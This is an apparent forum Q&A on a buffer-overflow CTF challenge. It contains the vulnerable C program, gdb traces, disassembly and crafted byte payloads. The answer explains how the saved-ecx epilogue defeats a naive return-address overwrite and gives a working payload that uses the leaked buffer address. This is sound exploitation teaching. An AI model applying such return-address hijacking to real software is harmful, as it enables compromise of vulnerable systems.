Question: I have the following code as part of a buffer overflow CTF challenge: #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <unistd.h> int my_gets(char *buf) { int i = 0; char c; while (read(0, &c, 1) > 0 && c != '\n') { buf[i++] = c; } buf[i] = '\0'; return i; } int main() { int cookie; char buf[16]; printf("&buf: %p, &cookie: %p\n", buf, &cookie); my_gets(buf); if (cookie == 0x000D0A00) { printf("%s","You win!\n"); } return 0; }  . Normally, the goal is to overwrite the cookie variable to reach the value 0x000D0A00, but this value contains special characters that make direct injection difficult. So instead, my goal is to jump directly to address 0x08049232 in order to print "You win!" without needing to modify the cookie. I started by injecting 16 'A' characters to figure out the stack frame layout.. I compiled it using: gcc -m32 -z execstack -fno-stack-protector -no-pie -o stack4 stack4.c (gdb) break *0x08049232 Breakpoint 1 at 0x8049232 (gdb) run < <(python3 -c 'print("A"*16)') Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". &buf: 0xffffcfac, &cookie: 0xffffcfbc Breakpoint 1, 0x08049232 in main () (gdb) x/wc $ebp+4 0xffffcfcc: 67 'C' (gdb) x/wx $ebp+4 0xffffcfcc: 0xf7d8bd43 (gdb) info frame Stack level 0, frame at 0xffffcfe0: eip = 0x8049232 in main; saved eip = 0xf7d8bd43 Arglist at 0xffffcfc8, args: Locals at 0xffffcfc8, Previous frame's sp is 0xffffcfe0 Saved registers: ebx at 0xffffcfc4, ebp at 0xffffcfc8, eip at 0xffffcfdc (gdb)  .Based on that, I crafted a payload to overwrite the value at ebp+4, since I assumed that’s where the saved return address (EIP) is stored. I intentionally avoided touching $ebp, $ebp-4, and $ebp-8 because I wasn’t sure what they were used for. Here’s the payload I tried: (gdb) run < <(python -c 'import sys; sys.stdout.buffer.write(b"A"*20 + b"\xe0\xcf\xff\xff" + b"\x14\xce\xf9\xf7" + b"\x00\x00\x00\x00" + b"\x39\x92\x04\x08")') sys.stdout.buffer.write(b"A"*20 + b"\xe0\xcf\xff\xff" + b"\x14\xce\xf9\xf7" + b"\x00\x00\x00\x00" + b"\x39\x92\x04\x08")') [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". &buf: 0xffffcfac, &cookie: 0xffffcfbc Breakpoint 1, 0x08049232 in main () (gdb) x/wx $ebp+4 0xffffcfcc: 0x08049239 (gdb) x/wx $ebp 0xffffcfc8: 0x00000000 (gdb) x/wx $ebp-4 0xffffcfc4: 0xf7f9ce14 (gdb) x/wx $ebp-8 0xffffcfc0: 0xffffcfe0 (gdb) x/wx $ebp-12 0xffffcfbc: 0x41414141 (gdb) x/wx $ebp-28 0xffffcfac: 0x41414141 (gdb) info frame Stack level 0, frame at 0xffffcfe0: eip = 0x8049232 in main; saved eip = 0xf7d8bd43 Arglist at 0xffffcfc8, args: Locals at 0xffffcfc8, Previous frame's sp is 0xffffcfe0 Saved registers: ebx at 0xffffcfc4, ebp at 0xffffcfc8, eip at 0xffffcfdc (gdb)  disas mian: (gdb) disas main Dump of assembler code for function main: 0x080491e9 <+0>: lea 0x4(%esp),%ecx 0x080491ed <+4>: and $0xfffffff0,%esp 0x080491f0 <+7>: push -0x4(%ecx) 0x080491f3 <+10>: push %ebp 0x080491f4 <+11>: mov %esp,%ebp 0x080491f6 <+13>: push %ebx 0x080491f7 <+14>: push %ecx 0x080491f8 <+15>: sub $0x20,%esp 0x080491fb <+18>: call 0x80490c0 <__x86.get_pc_thunk.bx> 0x08049200 <+23>: add $0x2df4,%ebx 0x08049206 <+29>: sub $0x4,%esp 0x08049209 <+32>: lea -0xc(%ebp),%eax 0x0804920c <+35>: push %eax 0x0804920d <+36>: lea -0x1c(%ebp),%eax 0x08049210 <+39>: push %eax 0x08049211 <+40>: lea -0x1fec(%ebx),%eax 0x08049217 <+46>: push %eax 0x08049218 <+47>: call 0x8049050 <printf@plt> 0x0804921d <+52>: add $0x10,%esp 0x08049220 <+55>: sub $0xc,%esp 0x08049223 <+58>: lea -0x1c(%ebp),%eax 0x08049226 <+61>: push %eax 0x08049227 <+62>: call 0x8049186 <my_gets> 0x0804922c <+67>: add $0x10,%esp 0x0804922f <+70>: mov -0xc(%ebp),%eax 0x08049232 <+73>: cmp $0xd0a00,%eax 0x08049237 <+78>: jne 0x804924b <main+98> 0x08049239 <+80>: sub $0xc,%esp 0x0804923c <+83>: lea -0x1fd5(%ebx),%eax 0x08049242 <+89>: push %eax 0x08049243 <+90>: call 0x8049060 <puts@plt> 0x08049248 <+95>: add $0x10,%esp 0x0804924b <+98>: mov $0x0,%eax 0x08049250 <+103>: lea -0x8(%ebp),%esp 0x08049253 <+106>: pop %ecx 0x08049254 <+107>: pop %ebx 0x08049255 <+108>: pop %ebp 0x08049256 <+109>: lea -0x4(%ecx),%esp 0x08049259 <+112>: ret End of assembler dump. (gdb)  However, "You win!" is not printed, and I’m unsure where I went wrong in the exploit. Could someone help me figure out what I’m missing?

Answer: Your main has non-standard stack layout and epilogue:  0x08049253 <+106>: pop %ecx 0x08049254 <+107>: pop %ebx 0x08049255 <+108>: pop %ebp 0x08049256 <+109>: lea -0x4(%ecx),%esp 0x08049259 <+112>: ret  If you simply try to overflow the buffer until you overwrite the return address you overwrite the saved ecx as well which means esp will no longer point to the location where you have written the return address. Since the code helpfully leaks the address of buf you can use that to construct a payload that sets the saved copy of ecx to point there. You will need to account for the -4 offset. For example a sample run on my system produced: &buf: 0xffffd9bc, &cookie: 0xffffd9cc  Therefore my payload was: print(b"\x39\x92\x04\x08AAAAAAAAAAAAAAAA\xc0\xd9\xff\xff")  First the address to jump to, then 16 bytes of padding and finally &buf + 4. This correctly jumps to the intended address. However, you have compiled with -no-pie but still have PIC enabled which uses ebx to address constants. Since ebx has also been popped from the stack it is no longer valid and will result in a crash. I don't see an obvious way to fix ebx. I suspect the challenge was originally meant to be standard position dependent code so consider compiling with -fno-pic. Note: if &buf + 4 happens to include a 0x0a byte you can just re-run it until stack randomization gives you an address that does not :) Alternatively, if the 0x0a is one of the two least significant bytes you can extend your payload until you reach the next usable address.